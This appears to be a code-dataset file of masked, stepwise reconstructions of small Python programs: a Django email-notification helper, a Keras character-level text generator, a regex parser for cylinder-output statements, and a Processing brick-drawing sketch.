DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-5": "import hashlib\n\nfrom django.conf import settings\nfrom django.core import mail\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils.crypto import get_random_string\n\n\ndef hexdigest_sha256(*args):\n\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id, key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars='abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref=None):\n\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n\n text_message = render_to_string('conversations/emails/%s.txt' % template, data)\n html_message = render_to_string('conversations/emails/%s.html' % template, data)\n\n from_email = '{name} <{email}>'.format(\n name=sender.get_full_name() or sender.username,\n email=settings.DEFAULT_FROM_EMAIL)\n\n # Generating headers\n headers = {'Message-ID': \"<%s.%s>\" % (message_id, settings.DEFAULT_FROM_EMAIL)}\n if ref:\n # This email reference a previous one\n headers.update({\n 'References': '<%s.%s>' % (ref, settings.DEFAULT_FROM_EMAIL),\n })\n\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n\n reply_to = get_reply_addr(message_id, dest)\n\n mails += [(subject, (text_message, html_message), from_email, [dest.email], reply_to, headers)]\n\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email, dest_emails, reply_to=reply_to,\n headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

<|reserved_special_token_0|> def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <|reserved_special_token_1|> <|reserved_special_token_0|> os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['KERAS_BACKEND'] = 'tensorflow' <|reserved_special_token_0|> MODEL_NAME = 'script_gen_demo_model' def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <|reserved_special_token_1|> import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['KERAS_BACKEND'] = 'tensorflow' import numpy as np import sys from util import load_model from keras.preprocessing.text import hashing_trick from keras.preprocessing.sequence import pad_sequences from southpark.southpark_generative import string_one_hot, char_one_hot MODEL_NAME = 'script_gen_demo_model' def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <|reserved_special_token_1|> #!/usr/bin/python3 import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2' os.environ['KERAS_BACKEND'] = 'tensorflow' import numpy as np import sys from util import load_model from keras.preprocessing.text import hashing_trick from keras.preprocessing.sequence import pad_sequences from southpark.southpark_generative import string_one_hot, char_one_hot MODEL_NAME = "script_gen_demo_model" def main(): print("Loading model...") model, charset = load_model(MODEL_NAME) print(charset) seed_text = input("Enter a String: ").strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp = 0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp = 1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding = 'post', maxlen = 64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature = 1.0): # helper function to sample an index from a probability array if temperature <= 0.0: return np.argmax(results) #num_choices = results.shape[0] # (batch, outputs) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p = probs) #preds = np.asarray(preds).astype('float64') #preds = np.log(preds) / temperature #exp_preds = np.exp(preds) #preds = exp_preds / np.sum(exp_preds) #probas = np.random.multinomial(1, preds, 1) # #print(probas) #return np.argmax(probas) if __name__ == "__main__": main()

flexible

{ "blob_id": "ed7b29a4d7f3a48884434373418c3528f2f397ac", "index": 271, "step-1": "<mask token>\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-3": "<mask token>\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\n<mask token>\nMODEL_NAME = 'script_gen_demo_model'\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\nimport numpy as np\nimport sys\nfrom util import load_model\nfrom keras.preprocessing.text import hashing_trick\nfrom keras.preprocessing.sequence import pad_sequences\nfrom southpark.southpark_generative import string_one_hot, char_one_hot\nMODEL_NAME = 'script_gen_demo_model'\n\n\ndef main():\n print('Loading model...')\n model, charset = load_model(MODEL_NAME)\n print(charset)\n seed_text = input('Enter a String: ').strip()\n print()\n generate_script(seed_text, model, charset)\n\n\ndef generate_script(seed_text, model, charset):\n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp=0.2)\n sys.stdout.write(next_char)\n sys.stdout.flush()\n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n\ndef sample(model, string, charset, temp=1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding='post', maxlen=64)\n preds = model.predict(inputs)[0]\n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature=1.0):\n if temperature <= 0.0:\n return np.argmax(results)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p=probs)\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "#!/usr/bin/python3\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'\nos.environ['KERAS_BACKEND'] = 'tensorflow'\n\nimport numpy as np\nimport sys\n\nfrom util import load_model\nfrom keras.preprocessing.text import hashing_trick\nfrom keras.preprocessing.sequence import pad_sequences \n\nfrom southpark.southpark_generative import string_one_hot, char_one_hot\n\n\nMODEL_NAME = \"script_gen_demo_model\"\n\ndef main():\n print(\"Loading model...\") \n model, charset = load_model(MODEL_NAME)\n \n print(charset)\n\n seed_text = input(\"Enter a String: \").strip()\n print()\n generate_script(seed_text, model, charset)\n\ndef generate_script(seed_text, model, charset):\n \n sys.stdout.write(seed_text)\n sys.stdout.flush()\n next_char = None\n should_stop = False\n while not should_stop:\n prev_char = next_char\n next_char = sample(model, seed_text, charset, temp = 0.2)\n \n sys.stdout.write(next_char)\n sys.stdout.flush()\n \n if prev_char == '\\n' and prev_char == next_char:\n should_stop = True\n\n \ndef sample(model, string, charset, temp = 1.0):\n inputs = [string_one_hot(string, charset)]\n inputs = pad_sequences(inputs, padding = 'post', maxlen = 64)\n preds = model.predict(inputs)[0]\n \n return charset[sample_preds(preds, temp)]\n\n\ndef sample_preds(results, temperature = 1.0):\n # helper function to sample an index from a probability array\n\n if temperature <= 0.0:\n return np.argmax(results)\n \n #num_choices = results.shape[0] # (batch, outputs)\n probs = np.exp(np.log(results) / temperature)\n probs /= np.sum(probs)\n return np.random.choice(len(results), p = probs)\n\n\n #preds = np.asarray(preds).astype('float64')\n #preds = np.log(preds) / temperature\n #exp_preds = np.exp(preds)\n #preds = exp_preds / np.sum(exp_preds)\n #probas = np.random.multinomial(1, preds, 1)\n #\n #print(probas)\n\n #return np.argmax(probas)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n", "step-ids": [ 4, 5, 6, 7, 8 ] }

[ 4, 5, 6, 7, 8 ]

<|reserved_special_token_0|> class Zouts: <|reserved_special_token_0|> def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Zout: <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <|reserved_special_token_1|> <|reserved_special_token_0|> class Zout: <|reserved_special_token_0|> def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" pattern = re.compile( '.*(?P<Var>A.*[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\\s*\\).*' ) match = pattern.match(aline) if match: self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') self.Motion = re.sub('^(up|down|left|right)$', '\\1ward', self. Motion) isgrippermatch = re.compile('.*(open|close).*').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' <|reserved_special_token_0|> class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <|reserved_special_token_1|> import re class Zout: def __init__(self, aline): self.Str = aline self.Var = '' self.StN = '' self.ZN = '' self.ZName = '' self.Motion = '' self.Ztype = '' self.tozout(aline) def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" pattern = re.compile( '.*(?P<Var>A.*[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\\s*\\).*' ) match = pattern.match(aline) if match: self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') self.Motion = re.sub('^(up|down|left|right)$', '\\1ward', self. Motion) isgrippermatch = re.compile('.*(open|close).*').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' def display(self): print(self.Var) class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var) <|reserved_special_token_1|> import re class Zout: def __init__(self, aline): self.Str = aline self.Var = '' self.StN = '' self.ZN = '' self.ZName = '' self.Motion = '' self.Ztype = '' self.tozout(aline) def tozout(self, aline): """transform station statement to Cylinder Outputs struct""" # SetAusg(A120,5,A.St201_Y1_2_SwivelUnit_backward); #front|back|up|down|left|right pattern = re.compile(r'.*(?P<Var>A.*[sS]t(?P<StN>\d+)_Y(?P<ZN>\d+)_[24]_(?P<ZName>\w+)_' r'(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\s*\).*') match = pattern.match(aline) if match: #print('match') self.Var = match.group('Var') self.StN = match.group('StN') self.ZN = match.group('ZN') self.ZName = match.group('ZName') self.Motion = match.group('Motion') # if re.compile(r'^up|down|left|right$').match(self.Motion): # self.Motion = self.Motion+'ward' # obj = re.compile(r'up|down|left|right') # if obj.match(self.Motion): # print('match') # self.Motion = obj.subn('ward',self.Motion)[0] self.Motion = re.sub(r'^(up|down|left|right)$',r'\1ward', self.Motion) isgrippermatch = re.compile(r'.*(open|close).*').match(aline) if isgrippermatch: self.Ztype = 'gripper' else: self.Ztype = 'not gripper' def display(self): print(self.Var) class Zouts: def __init__(self): self.elements = [] def search(self, StN, ZN, Motion): for elem in self.elements: print('elem:') print(str(type(elem.StN)) + str(type(StN))) print(elem.StN + '->' + StN + ':' + str(elem.StN == StN)) print(elem.Motion + '->' + ':' + str(elem.Motion == Motion)) if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion: print('match') return elem print('not match') return None def add(self, zout): self.elements.append(zout) def display(self): for elem in self.elements: print(elem.Var)

flexible

{ "blob_id": "71ebc6e9218085e887eda7843b5489837ed45c97", "index": 880, "step-1": "<mask token>\n\n\nclass Zouts:\n <mask token>\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Zout:\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-3": "<mask token>\n\n\nclass Zout:\n <mask token>\n\n def tozout(self, aline):\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\n pattern = re.compile(\n '.*(?P<Var>A.*[sS]t(?P<StN>\\\\d+)_Y(?P<ZN>\\\\d+)_[24]_(?P<ZName>\\\\w+)_(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\\\\s*\\\\).*'\n )\n match = pattern.match(aline)\n if match:\n self.Var = match.group('Var')\n self.StN = match.group('StN')\n self.ZN = match.group('ZN')\n self.ZName = match.group('ZName')\n self.Motion = match.group('Motion')\n self.Motion = re.sub('^(up|down|left|right)$', '\\\\1ward', self.\n Motion)\n isgrippermatch = re.compile('.*(open|close).*').match(aline)\n if isgrippermatch:\n self.Ztype = 'gripper'\n else:\n self.Ztype = 'not gripper'\n <mask token>\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-4": "import re\n\n\nclass Zout:\n\n def __init__(self, aline):\n self.Str = aline\n self.Var = ''\n self.StN = ''\n self.ZN = ''\n self.ZName = ''\n self.Motion = ''\n self.Ztype = ''\n self.tozout(aline)\n\n def tozout(self, aline):\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\n pattern = re.compile(\n '.*(?P<Var>A.*[sS]t(?P<StN>\\\\d+)_Y(?P<ZN>\\\\d+)_[24]_(?P<ZName>\\\\w+)_(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\\\\s*\\\\).*'\n )\n match = pattern.match(aline)\n if match:\n self.Var = match.group('Var')\n self.StN = match.group('StN')\n self.ZN = match.group('ZN')\n self.ZName = match.group('ZName')\n self.Motion = match.group('Motion')\n self.Motion = re.sub('^(up|down|left|right)$', '\\\\1ward', self.\n Motion)\n isgrippermatch = re.compile('.*(open|close).*').match(aline)\n if isgrippermatch:\n self.Ztype = 'gripper'\n else:\n self.Ztype = 'not gripper'\n\n def display(self):\n print(self.Var)\n\n\nclass Zouts:\n\n def __init__(self):\n self.elements = []\n\n def search(self, StN, ZN, Motion):\n for elem in self.elements:\n print('elem:')\n print(str(type(elem.StN)) + str(type(StN)))\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\n print('match')\n return elem\n print('not match')\n return None\n\n def add(self, zout):\n self.elements.append(zout)\n\n def display(self):\n for elem in self.elements:\n print(elem.Var)\n", "step-5": "import re\r\n\r\nclass Zout:\r\n def __init__(self, aline):\r\n self.Str = aline\r\n self.Var = ''\r\n self.StN = ''\r\n self.ZN = ''\r\n self.ZName = ''\r\n self.Motion = ''\r\n self.Ztype = ''\r\n self.tozout(aline)\r\n\r\n def tozout(self, aline):\r\n \"\"\"transform station statement to Cylinder Outputs struct\"\"\"\r\n # SetAusg(A120,5,A.St201_Y1_2_SwivelUnit_backward);\r\n #front|back|up|down|left|right\r\n pattern = re.compile(r'.*(?P<Var>A.*[sS]t(?P<StN>\\d+)_Y(?P<ZN>\\d+)_[24]_(?P<ZName>\\w+)_'\r\n r'(?P<Motion>open|close|forward|backward|up|upward|down|downward|left|leftward|right|rightward))\\s*\\).*')\r\n match = pattern.match(aline)\r\n if match:\r\n #print('match')\r\n self.Var = match.group('Var')\r\n self.StN = match.group('StN')\r\n self.ZN = match.group('ZN')\r\n self.ZName = match.group('ZName')\r\n self.Motion = match.group('Motion')\r\n # if re.compile(r'^up|down|left|right$').match(self.Motion):\r\n # self.Motion = self.Motion+'ward'\r\n # obj = re.compile(r'up|down|left|right')\r\n # if obj.match(self.Motion):\r\n # print('match')\r\n # self.Motion = obj.subn('ward',self.Motion)[0]\r\n self.Motion = re.sub(r'^(up|down|left|right)$',r'\\1ward', self.Motion)\r\n isgrippermatch = re.compile(r'.*(open|close).*').match(aline)\r\n if isgrippermatch:\r\n self.Ztype = 'gripper'\r\n else:\r\n self.Ztype = 'not gripper'\r\n\r\n def display(self):\r\n print(self.Var)\r\n\r\nclass Zouts:\r\n def __init__(self):\r\n self.elements = []\r\n\r\n def search(self, StN, ZN, Motion):\r\n for elem in self.elements:\r\n print('elem:')\r\n print(str(type(elem.StN)) + str(type(StN)))\r\n print(elem.StN + '->' + StN + ':' + str(elem.StN == StN))\r\n print(elem.Motion + '->' + ':' + str(elem.Motion == Motion))\r\n if elem.StN == StN and elem.ZN == ZN and elem.Motion == Motion:\r\n print('match')\r\n return elem\r\n print('not match')\r\n return None\r\n\r\n def add(self, zout):\r\n self.elements.append(zout)\r\n\r\n def display(self):\r\n for elem in self.elements:\r\n print(elem.Var)", "step-ids": [ 3, 6, 7, 10, 11 ] }

[ 3, 6, 7, 10, 11 ]

class Rect(): def __init__(self, w, h): self.w = w self.h = h def half(self): return self.w / 2; bricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)] def setup(): size(500, 500) noLoop() def draw(): posx = 0 posy = 0 i = 0 for y in range(20): posx = 0 for x in range(50): fill(random(100, 250)) brick = get_brick(i) rect(posx, posy, brick.w, brick.h) posx += brick.w i += 1 posy += brick.h def get_brick(index): i = int(random(len(bricks))) # i = index % len(bricks) return bricks[i]

normal

{ "blob_id": "807f0094a9736abdfa3f5b629615a80f1e0d13ef", "index": 3037, "step-1": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\n<mask token>\n", "step-2": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\n<mask token>\n", "step-3": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\n<mask token>\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n return bricks[i]\n", "step-4": "class Rect:\n\n def __init__(self, w, h):\n self.w = w\n self.h = h\n\n def half(self):\n return self.w / 2\n\n\nbricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)]\n\n\ndef setup():\n size(500, 500)\n noLoop()\n\n\ndef draw():\n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n return bricks[i]\n", "step-5": "class Rect():\n def __init__(self, w, h):\n self.w = w\n self.h = h\n \n def half(self):\n return self.w / 2;\n \nbricks = [Rect(40, 25), Rect(30, 25), Rect(28, 25), Rect(13, 25)]\n\ndef setup():\n size(500, 500)\n noLoop()\n \ndef draw():\n \n posx = 0\n posy = 0\n i = 0\n for y in range(20):\n posx = 0\n for x in range(50):\n fill(random(100, 250))\n brick = get_brick(i)\n rect(posx, posy, brick.w, brick.h)\n posx += brick.w\n i += 1\n posy += brick.h\n\ndef get_brick(index):\n i = int(random(len(bricks)))\n# i = index % len(bricks)\n return bricks[i]\n", "step-ids": [ 4, 5, 6, 7, 8 ] }

[ 4, 5, 6, 7, 8 ]

